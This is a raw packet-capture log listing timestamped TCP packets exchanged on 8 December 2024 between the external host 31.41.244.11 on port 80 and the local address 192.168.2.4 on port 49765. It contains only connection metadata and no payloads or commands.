Dec 8, 2024 18:06:11.358064890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.358108044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.358982086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.359026909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.359184027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.359230995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.359989882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.360033989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.360197067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.360239983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.361011028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.361052990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.361093044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.361134052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.362051964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.362062931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.362098932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.363075018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.363112926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.363302946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.363343954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.364115953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.364156961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.364212990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.364253998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.365108967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.365153074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.365215063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.365248919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.366117954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.366161108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.366256952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.366298914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.367149115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.367188931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.367266893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.367305994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.368166924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.368210077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.368233919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.368278027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.508263111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.508327961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.508404970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.508447886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.508856058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.508899927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.509042025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.509082079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.509888887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.509942055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.510061979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.510107040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.510992050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.511008024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.511035919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.511048079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.511914015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.511926889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.511959076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.511981964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.512901068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.512912989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.512970924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.513037920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.513087988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.513192892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.513233900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.515805006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.515861988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.515985012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.516025066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.516747952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.516799927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.517256975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.517267942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.517277956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.517301083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.517323971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.518064022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.518102884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.518238068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.518287897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.519325018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.519368887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.519812107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.519853115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.520255089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.520267010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.520297050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.520308971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.521044016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.521083117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.521224022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.521260023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.522034883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.522072077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.522213936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.522250891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.523024082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.523067951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.523211956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.523243904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.524149895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.524187088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.524343967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.524379015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.525096893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.525144100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.525235891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.525278091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.526213884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.526258945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.526393890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.526442051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.527509928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.527520895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.527559996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.527570963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.528248072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.528295994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.528417110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.528459072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.529242992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.529294014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.529417038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.529453039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.530266047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.530308962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.530447960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.530492067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.531374931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.531415939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.531497955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.531536102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.532284975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.532327890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.532468081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.532505989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.533406019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.533417940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.533442974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.533457041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.534373999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.534415007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.534730911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.534768105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.535496950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.535535097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.535681009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.535717964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.535867929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.535885096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.535901070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.535923004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.537175894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.537214041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.537352085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.537389040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.538454056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.538496017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.538604021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.538640976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.539536953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.539575100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.539719105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.539757967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.540671110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.540683985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.540726900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.541707039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.541759014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.541893959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.541932106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.542531967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.542571068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.542710066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.542749882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.543657064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.543697119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.543854952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.543900013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.544632912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.544671059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.544812918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.544869900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.545586109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.545624018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.545929909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.545973063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.546675920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.546717882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.546849966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.546895981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.547784090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.547795057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.547825098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.547842026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.548780918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.548791885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.548820019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.548837900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.549841881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.549853086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.549887896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.550211906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.550224066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.550251961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.550263882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.550898075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.550937891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.550967932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.551006079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.553822994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.553836107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.553864956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.553877115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.554572105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.554584980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.554615974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.554636002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.554713011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.554725885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.554754019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.554771900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.555811882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.555854082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.555994987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.556031942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.556879044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.556919098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.557063103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.557101965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.558083057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.558094978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.558120966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.558142900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.559184074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.559195995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.559226990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.559237957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.560358047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.560431004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.560516119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.560554981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.561167955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.561178923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.561204910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.561214924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.562177896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.562222004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.699682951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.699745893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.699912071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.699958086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.700119019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.700160980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.700238943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.700279951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.701184988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.701231003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.701281071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.701320887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.702151060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.702193022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.702269077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.702306986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.703301907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.703342915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.703372002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.703423977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.704220057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.704263926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.704351902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.704457998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.705288887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.705332041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.705569029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.705619097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.706271887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.706312895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.706511021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.706556082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.707403898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.707448959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.707467079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.707509041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.708383083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.708427906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.708446980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.708481073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.709363937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.709403992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.709517002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.709558010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.710366964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.710424900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.710457087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.710495949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.711497068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.711544037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.711666107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.711708069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.712562084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.712608099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.712743998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.712785006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.713603973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.713645935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.714131117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.714168072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.714464903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.714507103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.714519024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.714560032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.715449095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.715487957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.715553999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.715591908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.716479063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.716522932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.716582060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.716624022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.717559099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.717600107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.717628956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.717664003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.718681097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.718724966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.718776941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.718816042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.719578981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.719624043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.719659090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.719701052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.720587015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.720644951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.720710993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.720755100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.721682072 CET	80	49765	31.41.244.11	192.168.2.4
